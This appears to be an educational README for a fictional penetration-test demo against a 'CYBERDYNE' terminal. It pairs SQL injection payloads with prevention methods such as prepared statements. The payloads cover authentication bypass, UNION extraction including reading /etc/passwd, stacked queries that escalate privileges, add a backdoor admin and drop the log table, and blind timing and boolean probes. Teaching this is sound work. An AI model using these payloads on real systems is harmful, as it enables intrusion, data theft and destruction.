SQL Injection Attack Demonstration

"Operation Secure CYBERDYNE"

Project Overview

This project demonstrates SQL injection vulnerabilities in a simulated CYBERDYNE Systems mainframe. As ethical hackers, we've been tasked with identifying security flaws before real attackers can exploit them.

> **Scenario**: CYBERDYNE Systems has hired our cybersecurity team to perform penetration testing on their new mainframe terminal. Our mission is to find and document SQL injection vulnerabilities before their system goes live.

Demo Interface

The project includes an interactive terminal interface that simulates the CYBERDYNE MAINFRAME with multiple attack vectors demonstrated through a realistic user interface. The terminal includes:

- Authentication bypass panel
- Data exfiltration tools
- System takeover capabilities
- Blind injection techniques

Each panel showcases different SQL injection vulnerabilities with example payloads that highlight the risk.

Attack Vectors & Prevention Methods

1 Authentication Bypass

Attack Payloads:

- Basic Bypass: `' OR '1'='1' --`
- Admin Access: `ADMIN' --`
- Credential Dump: `' UNION SELECT 1,CONCAT(username,':',password),3,4,5,6,7,8,9 FROM employees --`

Scenario:
Our ethical hacking team found a security badge terminal that validates credentials against the database. We discovered that entering these payloads in the badge field gives unauthorized access to the system!

```
-- Original query:
SELECT * FROM employees WHERE badge_id = 'ENTERED_BADGE'

-- Injected query:
SELECT * FROM employees WHERE badge_id = '' OR '1'='1' -- '
```

Prevention:

- Use prepared statements: `$stmt = $pdo->prepare("SELECT * FROM employees WHERE badge_id = ?");`
- Implement proper input validation
- Add multi-factor authentication

2 Data Exfiltration 📊

Attack Payloads:

- Database Version: `%' UNION SELECT 1,@@version,3,4,5 --`
- Table Enumeration: `%' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database() --`
- File Read: `%' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5 --`

Scenario:
During our project search testing, we discovered we could extract database schema information by injecting UNION queries, revealing sensitive tables and even accessing system files.

```
-- Original query:
SELECT * FROM projects WHERE project_name LIKE '%ENTERED_SEARCH%'

-- Injected query:
SELECT * FROM projects WHERE project_name LIKE '%' UNION SELECT
1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE
table_schema=database() -- %'
```

Prevention: ☑

- Use parameterized queries
- Apply proper data access controls
- Implement input validation
- Disable dangerous database functions

3 System Takeover 💻

Attack Payloads:

- Privilege Escalation: `enable_root'; UPDATE employees SET access_level='root' WHERE username='hacker' --`
- Create Admin User: `disable_firewall'; INSERT INTO employees (badge_id, username, password, access_level) VALUES ('666-666','hacker','pwned','root') --`
- Destroy Evidence: `wipe_logs'; DROP TABLE access_logs --`

Scenario:
Our team found that the admin override function had critical vulnerabilities allowing us to execute arbitrary SQL commands that could modify data, create backdoor accounts, or destroy evidence.

```
-- Original query:
UPDATE system_config SET status='active' WHERE option='ENTERED_COMMAND'

-- Injected query:
UPDATE system_config SET status='active' WHERE option='enable_root'; UPDATE
employees SET access_level='root' WHERE username='hacker' -- '
```

Prevention: ☑

- Use prepared statements for ALL database operations
- Validate input with strict patterns
- Implement transaction isolation
- Use database-level access controls

4 Blind Injection 🥷

Attack Payloads:

- Time-Based: `' AND (SELECT 1 FROM (SELECT IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),0)) as subquery) --`
- Boolean-Based: `' OR (SELECT COUNT(*) FROM nuclear_codes) > 0 --`
- Information Extraction: `' OR EXISTS (SELECT 1 FROM employees WHERE username='sysadmin' AND password LIKE 'K%') --`

Scenario:
While testing the debug console, we found that although it doesn't display query results directly, we could extract information by observing response times or changes in behavior.

```
-- Original query:
SELECT status FROM system_config WHERE component = 'ENTERED_COMPONENT'

-- Injected time-based query:
SELECT status FROM system_config WHERE component = '' AND (SELECT 1 FROM (SELECT
IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),0)) as subquery) -- '
```

Prevention: ☑

- Use prepared statements
- Implement request timeouts
- Add proper error handling
- Monitor for suspicious timing patterns

🌓 Comprehensive Prevention Methods

1. Parameterized Queries

```
$stmt = $pdo->prepare("SELECT * FROM employees WHERE badge_id = ?");
$stmt->execute([$badge_id]);
```

2. Input Validation

```
if (!preg_match('/^CD-\d{3}$/', $badge_id)) {
    throw new ValidationException("Invalid badge format");
}
```

3. Least Privilege Principle

```
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON cyberdyne.projects TO 'app_user'@'localhost';
```

4. Error Handling

```
try {
    // Database operations
} catch (Exception $e) {
    logError($e->getMessage());
    echo "An error occurred. Please try again.";
}
```

5. Web Application Firewall (WAF)

Implement a security layer to detect and block malicious SQL patterns.

Conclusion

Our ethical hacking team successfully identified several SQL injection vulnerabilities in the CYBERDYNE mainframe terminal. By implementing the recommended prevention methods, particularly parameterized queries, CYBERDYNE can secure their database against malicious attacks.

This demonstration shows why security must be built into applications from the beginning, not added as an afterthought. Regular security audits and developer training are essential components of a robust security strategy.

> **Important Note**: This project is for educational purposes only. The techniques demonstrated should only be used for ethical security testing with proper authorization. Real attacks using these methods are illegal and unethical.